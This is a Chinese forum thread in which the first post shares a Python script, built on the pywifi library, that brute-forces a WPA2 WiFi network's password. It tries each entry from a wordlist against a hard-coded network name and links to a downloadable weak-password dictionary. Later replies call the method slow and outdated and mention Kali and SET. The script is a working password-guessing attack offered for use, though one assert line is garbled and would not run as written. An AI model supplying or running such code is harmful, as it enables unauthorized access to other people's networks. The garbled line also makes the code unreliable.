快乐的小萌新 发表于 2020-5-2 15:19

python用字典**wifi的代码


必须要安装pywifi这个包
import time
from pywifi import PyWiFi, const
import pywifi


class PoJie(object):
    def __init__(self):
      wifi = PyWiFi()
      # 选择无线网卡,由于电脑上只有一个无线网卡,就选择0
      self.iface = wifi.interfaces()[0]
      time.sleep(1)



    def Check_wifi(self):
      self.iface.disconnect()# 测试链接断开所有链接
      time.sleep(1)
      # 状态码4表示连接上wifi,其余的都表示未连接上
      if self.iface.status() == 4:
            print("wifi已连上")
      else:
            print("请连接wifi")


    def Get_wireless(self):
      # 扫描当前能搜索到的wifi
      wireless = self.iface.scan_results()
      for data in wireless:
            print(data.ssid)
            print(data.key)

    def readPassword(self,path):
      print("开始破解")
      #打开路径下的字典文件
      file = open(path, "r")
      while True:
            try:
                #每一次读取一行
                mystr = file.readline().strip()
                #如果没有数据,直接终止
                if not mystr:
                  break
                #接收返回来isOK的布尔值
                boole = self.test_connect(mystr)
                #为True表示密码正确
                if boole:
                  print("正确",mystr)
                  break
                else:
                  print("错误")
                time.sleep(3)
            except:
                continue

    #测试wifi链接
    def test_connect(self,findStr):
      print("测试连接")
      print(findStr)
      proflie = pywifi.Profile()#创建wifi的链接文件
      proflie.ssid = "mx6" #wifi的名字
      proflie.auth = const.AUTH_ALG_OPEN #网卡开放
      proflie.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
      proflie.cipher = const.CIPHER_TYPE_CCMP#加密单元
      proflie.key = findStr #密码
      self.iface.remove_all_network_profiles()#删除所有的wifi文件
      temp_profiles = self.iface.add_network_profile(proflie)#设定新的链接文件
      self.iface.connect(temp_profiles)#链接
      time.sleep(10)#睡眠10秒钟,时间可以根据自己的电脑修改
      print(self.iface.status())
      if self.iface.status() == 4: # 状态码4表示连接上wifi,其余的都表示未连接上
            isOk = True
      else:
            isOk = False
      #断开wifi的连接
      self.iface.disconnect()
      time.sleep(1)
      assert self.iface.status() in ,const.IFACE_CONNECTED]
      #返回isOk这个布尔值
      return isOk


# 字典文件,路径可以自己改
path=r"password.txt"
pojie = PoJie()
#检测并断开wifi
pojie.Check_wifi()
# 读取破解的字典
pojie.readPassword(path)
# 查看本地的wifi
# pojie.Get_wireless()


WiFi弱口令字典:https://lanzouj.com/ic6hdxg

那年夏天52 发表于 2020-5-2 15:36

我设置的80位的密码

赏氏朋友 发表于 2020-5-2 15:39

那年夏天52 发表于 2020-5-2 15:36
我设置的80位的密码

哈哈哈,秀

lms1206 发表于 2020-5-2 15:40

pywifi太慢了
而且跑字典效率不忍直视

那年夏天52 发表于 2020-5-2 15:43

lms1206 发表于 2020-5-2 15:40
pywifi太慢了
而且跑字典效率不忍直视

现在基本无解,谁会去设置弱密码

快乐的小萌新 发表于 2020-5-2 15:44

lms1206 发表于 2020-5-2 15:40
pywifi太慢了
而且跑字典效率不忍直视

我就是写着玩玩,爆破还是用kali吧

快乐的小萌新 发表于 2020-5-2 15:45

那年夏天52 发表于 2020-5-2 15:43
现在基本无解,谁会去设置弱密码

有些家用就设置的弱口令,不懂安全意识的很多都是弱口令

那年夏天52 发表于 2020-5-2 15:51

快乐的小萌新 发表于 2020-5-2 15:45
有些家用就设置的弱口令,不懂安全意识的很多都是弱口令

很少了,兄弟。

sam喵喵 发表于 2020-5-2 15:54

那年夏天52 发表于 2020-5-2 15:43
现在基本无解,谁会去设置弱密码

用SET会不会快一点

那年夏天52 发表于 2020-5-2 15:55

sam喵喵 发表于 2020-5-2 15:54
用SET会不会快一点

这么说吧,就是跑字典,行不通了。时代变了
页: [1] 2
查看完整版本: python用字典**wifi的代码